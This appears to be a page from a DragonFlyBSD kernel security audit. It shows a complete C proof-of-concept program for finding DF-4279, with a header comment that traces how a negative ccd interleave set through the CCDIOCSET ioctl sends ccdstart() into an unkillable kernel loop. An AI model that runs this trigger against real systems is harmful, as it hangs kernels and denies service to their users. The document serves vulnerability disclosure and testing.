⬢ DragonFlyBSD Kernel Audit
DF-4279 / trigger.c
← back to finding ↓ download raw
/*
 * DF-4279 trigger — DragonFlyBSD sys/dev/disk/ccd/ccd.c
 *
 * CCDIOCSET accepts a negative interleave (ccio_ileave is a signed int,
 * ccd.c:1326 has no lower-bound check).  ccdinit stores it in
 * cs->sc_ileave; every guarded use tests only (sc_ileave > 0) so the
 * negative value reaches ccdbuffer(), where
 *
 *     cbc = dbtob((off_t)(cs->sc_ileave - cboff));   (ccd.c:1068)
 *
 * is negative (ileave<0, cboff<=0), producing a *negative*
 * cb_buf.b_bcount (ccd.c:1071).  ccdstart() then computes
 *
 *     rcount = cbp[0]->cb_buf.b_bcount;              (ccd.c:888)
 *     bcount -= rcount;                              (ccd.c:886)
 *
 * so bcount GROWS by |rcount| every iteration and the dispatch loop
 * (ccd.c:886-926) never terminates: it getccdbuf()s and vn_strategy()s
 * a negative-length buffer forever.  The calling thread is stuck in an
 * un-interruptible kernel loop (SIGKILL cannot touch a plain for(;;)
 * in kernel context) and the top-level bio never completes.
 *
 * usage: trigger /dev/ccd0 /dev/mdXd <ileave>
 *   ileave > 0  -> positive control (normal operation)
 *   ileave < 0  -> bug trigger
 */
#define _KERNEL_STRUCTURES
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/param.h>
#include <sys/ccdvar.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

int
main(int argc, char **argv)
{
	struct ccd_ioctl ccio;
	char *disks[1];
	int fd, ileave;
	char buf[512];
	ssize_t n;

	if (argc < 4) {
		fprintf(stderr, "usage: %s <ccddev> <component> <ileave>\n",
		    argv[0]);
		return (2);
	}
	ileave = atoi(argv[3]);

	fd = open(argv[1], O_RDWR);
	if (fd < 0) {
		perror("open ccd");
		return (1);
	}

	disks[0] = argv[2];
	bzero(&ccio, sizeof(ccio));
	ccio.ccio_disks = disks;
	ccio.ccio_ndisks = 1;
	ccio.ccio_ileave = ileave;
	ccio.ccio_flags = 0;

	if (ioctl(fd, CCDIOCSET, &ccio) < 0) {
		perror("CCDIOCSET");
		return (1);
	}
	printf("[+] CCDIOCSET ok: unit=%d size=%llu sectors ileave=%d\n",
	    ccio.ccio_unit, (unsigned long long)ccio.ccio_size, ileave);
	fflush(stdout);

	/* single 512-byte read at offset 0 */
	n = pread(fd, buf, sizeof(buf), 0);
	if (n < 0)
		perror("read");
	else
		printf("[+] pread returned %zd bytes%s\n", n,
		    (ileave < 0) ? "  <-- BUG: loop escaped" : "");
	fflush(stdout);
	return (0);
}